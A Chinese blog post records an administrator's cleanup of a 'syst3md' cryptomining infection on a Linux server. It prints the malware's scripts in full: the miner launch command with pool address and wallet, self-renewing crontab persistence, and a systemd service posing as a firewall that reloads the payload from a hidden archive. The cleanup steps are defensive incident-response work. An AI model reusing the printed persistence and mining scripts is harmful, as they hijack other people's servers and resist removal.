首页 > 其他分享 >记录一次syst3md挖矿病毒排查过程

记录一次syst3md挖矿病毒排查过程

时间:2023-08-28 09:35:58浏览次数:34  
标签:tmp blrvdlm dev syst3md 排查 nfs lr root 挖矿

公司服务器被挖矿了,idc处理也没处理干净,登陆服务器查看还是有残留的任务。

[root@nfs ~]# crontab -l
@daily /dev/shm/.lr/1
@reboot /dev/shm/.lr/run > /dev/null 2>&1 & disown
@monthly /dev/shm/.lr/run  > /dev/null 2>&1 & disown
#确认服务器ps未被修改
[root@nfs ~]# rpm -qf `which ps`
procps-ng-3.3.10-23.el7.x86_64
#检查文件完整性
[root@nfs ~]# rpm -V procps-ng

查看定时任务中脚本的内容

[root@nfs ~]# cat /dev/shm/.lr/1
#!/bin/bash
#made by Maz4id#1363
locatie=$(cat /tmp/.SQL/.db)

if ! pgrep -x syst3md >/dev/null; then
	$locatie/./syst3md -o 92.42.44.100:1111 -u 48Y15PX7Ua4b7pDWB62vSeH5RpDrKJiDjjfP7mcimSQJgAEAzNbyYvfcZco5abYJmY727sPx2zyN9AKs85XBvt1UCnWhP4L --donate-level 1 -p auto4 > /dev/null 2>&1 & disown $*
else
	:
fi
[root@nfs ~]# cat /dev/shm/.lr/run
#!/bin/bash
#made by Maz4id#1363
if [ $# != 1 ]; then
        echo " usage: $0 > /dev/null 2>&1 & disown"
fi

locatie=$(cat  /tmp/.SQL/.db)
if [ -f  /tmp/.SQL/.db ]; then
	:
else
	if [ -d  /tmp/.SQL ]; then
		echo $(pwd) >  /tmp/.SQL/.db
	else
		mkdir  /tmp/.SQL
		echo $(pwd) >  /tmp/.SQL/.db
	fi
fi

crontabcalumea() {
	if ! crontab -l | grep -q 'run'; then
		rm -rf $(cat  /tmp/.SQL/.db)/.tempo
		echo "@daily $(cat  /tmp/.SQL/.db)/1" >> $(cat  /tmp/.SQL/.db)/.tempo
		sleep 1
		echo "@reboot $(cat  /tmp/.SQL/.db)/run > /dev/null 2>&1 & disown" >> $(cat  /tmp/.SQL/.db)/.tempo
		sleep 1
		echo "@monthly $(cat  /tmp/.SQL/.db)/run  > /dev/null 2>&1 & disown" >> $(cat  /tmp/.SQL/.db)/.tempo
		sleep 1
		crontab $(cat  /tmp/.SQL/.db)/.tempo
		sleep 1
		rm -rf $(cat  /tmp/.SQL/.db)/.tempo
	fi
}


sleep 5
while :
do
$(cat  /tmp/.SQL/.db)/1
crontabcalumea
sleep 5
done

可以看到脚本在服务器删创建隐藏的文件夹并向外部ip发送信息。这是先删除脚本中涉及的路径

[root@nfs ~]# rm -rf /tmp/.SQL/.db /tmp/.SQL /dev/shm/.lr/
#结束syst3md进程
[root@nfs ~]# ps aux|grep syst3md
root      8897  0.6 31.2 2617096 1210876 ?     Sl   6月11 695:26 /dev/shm/.lr/./syst3md -o 92.42.44.100:1111 -u 48Y15PX7Ua4b7pDWB62vSeH5RpDrKJiDjjfP7mcimSQJgAEAzNbyYvfcZco5abYJmY727sPx2zyN9AKs85XBvt1UCnWhP4L --donate-level 1 -p auto4
[root@nfs ~]# kill -9 8897
[root@nfs ~]# ps aux|grep syst3md
root     30940  0.0  0.0 112824   980 pts/0    R+   09:02   0:00 grep --color=auto syst3md
#清理crontab任务
[root@nfs ~]# crontab -l
#清理之后任务又出现了
[root@nfs ~]# crontab -l
@daily /1
@monthly /run  > /dev/null 2>&1 & disown
@reboot /run > /dev/null 2>&1 & disown
@reboot /run > /dev/null 2>&1 & disown
#查看/var/log/message日志
Aug 28 09:05:34 nfs Diskutilization: /usr/bin/blrvdlm.sh: 第 15 行:cd: /dev/shm/.lr: 没有那个文件或目录
Aug 28 09:05:34 nfs Diskutilization: /usr/bin/blrvdlm.sh:行15: ./r: 没有那个文件或目录
Aug 28 09:05:34 nfs Diskutilization: /usr/bin/blrvdlm.sh: 第 19 行:cd: /dev/shm/.lr: 没有那个文件或目录
Aug 28 09:05:34 nfs Diskutilization: /usr/bin/blrvdlm.sh:行19: ./r: 没有那个文件或目录
Aug 28 09:05:34 nfs Diskutilization: Failed to start  with command1 and command2.
Aug 28 09:05:34 nfs Diskutilization: Checking if it's a directory problem
Aug 28 09:09:36 nfs systemd: blrvdlm.service: main process exited, code=killed, status=9/KILL
Aug 28 09:09:37 nfs systemd: Unit blrvdlm.service entered failed state.
Aug 28 09:09:37 nfs systemd: blrvdlm.service failed.

#上面提示的/usr/bin/blrvdlm.sh脚本,查看内容
[root@nfs ~]# cat /usr/bin/blrvdlm.sh
#!/bin/bash
#Blr va da la muie lachetilor <3
# Set the name of the process to check for
process_name="syst3md"
location="/dev/shm/.lr"
# Check if the process is running
while :
do
if ps aux | grep -v grep | grep "syst3md" > /dev/null; then
  echo "Firewall is running."
  sleep 10
else
  echo "Firewall is not running. Starting it now..."
  sleep 10
  cd /dev/shm/.lr ; ./r

  # Try to execute commands to start the process
  if
  cd /dev/shm/.lr ; ./r
  then
    echo "Successfully started ."
    sleep 10
  else
    echo "Failed to start  with command1 and command2."
    echo "Checking if it's a directory problem"
    sleep 10

      # Verify if a directory exists or not
      if [ -d /dev/shm/.lr/run ]
      then
        echo "Directory exists."
      else
        echo "Directory does not exist."
        echo "Loading payload!"
        rm -rf /dev/shm/.lr ; cp /tmp/.../.lr.zip /dev/shm/ ; cd /dev/shm ; unzip .lr ; rm -rf .lr.zip ; cd .lr ; chmod +x * ; ./r
        sleep 60
    fi
  fi
fi
done

上面日志中还涉及了blrvdlm.service服务,查看服务

[root@nfs ~]# systemctl status blrvdlm.service
● blrvdlm.service - Linux Firewall Execution
   Loaded: loaded (/etc/systemd/system/blrvdlm.service; disabled; vendor preset: disabled)
   Active: active (running) since 一 2023-08-28 09:10:07 CST; 1min 10s ago
     Docs: https://lfdblr.com/
 Main PID: 707 (blrvdlm.sh)
    Tasks: 2
   Memory: 308.0K
   CGroup: /system.slice/blrvdlm.service
           ├─707 /bin/bash /usr/bin/blrvdlm.sh
           └─799 sleep 60
#停止并删除上面的进程
[root@nfs ~]# systemctl stop --now blrvdlm.service
#查看服务文件内容
[root@nfs ~]# cat /etc/systemd/system/blrvdlm.service
[Unit]
Description=Linux Firewall Execution
Documentation=https://lfdblr.com/

[Service]
Type=simple
User=root
Group=root
TimeoutStartSec=0
Restart=on-failure
RestartSec=30s
#ExecStartPre=
ExecStart=/usr/bin/blrvdlm.sh
SyslogIdentifier=Diskutilization
#ExecStop=

[Install]
WantedBy=multi-user.target
#结束blrvdlm.sh并删除对应文件
[root@nfs ~]# rm -rf /etc/systemd/system/blrvdlm.service
[root@nfs ~]# systemctl daemon-reload
[root@nfs ~]# ps aux|grep "blrvdlm.sh"
root       549  0.0  0.0 112824   992 pts/0    S+   09:09   0:00 grep --color=auto blrvdlm.sh
root      1499  0.0  0.0 114004  1392 ?        Ss   6月11  38:31 /bin/bash /usr/bin/blrvdlm.sh
[root@nfs ~]# kill -9 1499
[root@nfs ~]# rm -rf /usr/bin/blrvdlm.sh
#查看定时任务中的sh是否有未结束的进程
[root@nfs ~]# ps aux|grep -Ei ".lr/1|.lr/run"
root       927  0.0  0.0 113792  1428 ?        S    7月01  74:25 /bin/bash /dev/shm/.lr/run
root      2137  0.0  0.0 112824  1016 pts/0    R+   09:16   0:00 grep --color=auto -Ei .lr/1|.lr/run
root     25379  0.0  0.0 113792  1940 ?        S    8月01  34:36 /bin/bash /dev/shm/.lr/run
#停止进程
[root@nfs ~]# kill -9 927 25379
#清除定时任务后再次查看,挖矿脚本已彻底删除
[root@nfs ~]# watch -n 2 "crontab -l"

标签:tmp,blrvdlm,dev,syst3md,排查,nfs,lr,root,挖矿
From: https://www.cnblogs.com/whtjyt/p/17661414.html

相关文章

  • 因为一台NUC怒学两天网络排查问题
    起源鄙人曾经认为自己不会乱花钱,第一个月工资发下来就上海鲜市场整了一台NUC,真香~我给它装了个archlinux,由于太菜,直接用了开源的GUIInstaller,我每天把它带到公司,带回家,贼喜欢。但是我发现,在公司的时候,无论如何也没法让我的macbookssh到arch上,它们连接了同一个wifi网络,在同一......
  • WinDbg排查.net性能或内存问题步骤简述
    目录一、安装WinDbg二、诊断数据获取三、加载分析四、举例分析以下步骤是分析高CPU占用的命令本文摘自一、安装WinDbg第一步当然是安装了,需要注意的是,千万不要搜索windbg然后下载,搜索到的windbg安装文件,都不是我们想要的,真正的windbg,实际上是在微软的SDK里,下载链接在这里:ht......
  • 一次Java内存占用高的排查案例,解释了我对内存问题的所有疑问
    原创:扣钉日记(微信公众号ID:codelogs),欢迎分享,非公众号转载保留此声明。问题现象7月25号,我们一服务的内存占用较高,约13G,容器总内存16G,占用约85%,触发了内存报警(阈值85%),而我们是按容器内存60%(9.6G)的比例配置的JVM堆内存。看了下其它服务,同样的堆内存配置,它们内存占用约70%~79%,......
  • 【保护你的上线】风险治理的防范与排查之路 | 京东云技术团队
    前言项目研发的过程中经历了需求评审、开发评审、代码编写、测试用例评审、项目测试、产品和UI验收等一系列流程,其中投入了大量的人力和精力。然而最后的上线阶段,总是存在诸多不确定性和可变性,往往在测试阶段测N次都没有丝毫问题,一上线就会出现Bug(简直是墨菲定律的诅咒)。经过多年的......
  • 表格选中当前行数据,固定高亮显示当前行(防止数据是否选错和更好的排查)
    只需要在表格增加highlight-current-row属性就可以了  ......
  • 一个.net加密壳的挖矿木马分析
     样本md5:02B886B7B245F7CA52172F299D279A0F   问题:挖矿木马有时候可以启动,有时候起不来?WHY?逆向看看,结论:foreach(Processprocess3inProcess.GetProcesses()){if(process3.ProcessName.ToLower()=="taskmgr"||p......
  • 排查海康EHOME5.0协议无法注册监控汇聚平台EasyCVR的原因
    EasyCVR平台支持多种协议和设备类型的接入与分发,包括GB28181、RTMP、RTSP/Onvif等安防标准协议,以及海康EHOME、海康SDK、大华SDK等厂家私有协议。同时,它还可以进行RTSP、FLV、HLS、WebRTC等格式视频流的输出和分发。近日,某项目现场使用海康摄像头Ehome5.0接入EasyCVR平台时遇到问题......
  • Centos排查流量异常进程
    简介有时候当服务器出现流量出入过高的时候,需要去如何排查是哪些进程在使用,本文主要记录如何通过相关命令来进行排查。1、基本知识1.1、iftop介绍一般涉及到流量的监控,经常会使用iftop,首先安装iftop:yuminstalliftop-y 使用iftop命令,界面如下: 界面上面显示的是类似......
  • 排查Python卡慢神器
    如果遇到Python正在运行中的进程卡住,找不到原因。可以试试以下工具方法,对于python就像jstack对于java一样。法一使用pystack-debugger安装方式如下:yuminstallgdbpipinstallpystack-debugger1.查看线程IDpsajx|grepgunicorn2.查看堆栈信息,确认有问题代码pystac......
  • Vue3 toRef响应式失效问题排查
    父组件conststuRecordInfo=ref<any>({stuNum:11111})//接口请求返回stuRecordInfo.value.stuNum=22222<StuRecord:info="stuRecordInfo":pictureInfo="pictureInfo"/>子组件constinfo=toRef(props,'info')consts......